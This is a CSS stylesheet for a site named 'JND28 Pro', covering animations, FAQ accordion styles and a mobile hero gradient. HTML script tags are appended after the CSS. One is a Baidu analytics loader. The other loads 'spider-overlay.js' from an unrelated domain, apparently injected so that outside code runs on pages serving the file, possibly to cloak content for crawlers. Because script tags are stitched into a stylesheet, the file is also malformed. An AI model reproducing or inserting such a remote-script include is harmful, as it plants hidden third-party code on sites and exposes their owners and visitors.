/* ========== JND28 Pro - Custom Styles ========== */

/* Smooth scroll */
html {
    scroll-behavior: smooth;
}

/* Tailwind CDN base enhancements */
body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'PingFang SC', 'Microsoft YaHei', 'Helvetica Neue', sans-serif;
}

/* Custom animation for floating elements */
@keyframes float {
    0%, 100% { transform: translateY(0); }
    50% { transform: translateY(-8px); }
}

/* FAQ accordion styles */
.faq-item.open {
    border-color: #3b82f6;
}
.faq-item.open .faq-question i {
    transform: rotate(180deg);
}
.faq-item.open .faq-answer {
    max-height: 300px;
}

/* Fade-in animation for sections */
@keyframes fadeInUp {
    from {
        opacity: 0;
        transform: translateY(24px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.animate-fade-in {
    animation: fadeInUp 0.6s ease forwards;
}

/* Transition helpers */
.faq-question i {
    transition: transform 0.3s ease;
}
.faq-answer {
    transition: max-height 0.4s ease;
}

/* Hero image gradient overlay on mobile */
@media (max-width: 640px) {
    .hero-overlay {
        background: linear-gradient(135deg, rgba(15, 23, 42, 0.95), rgba(30, 58, 138, 0.9));
    }
}

/* Stats section glow effect */
.stats-glow {
    text-shadow: 0 0 30px rgba(96, 165, 250, 0.3);
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>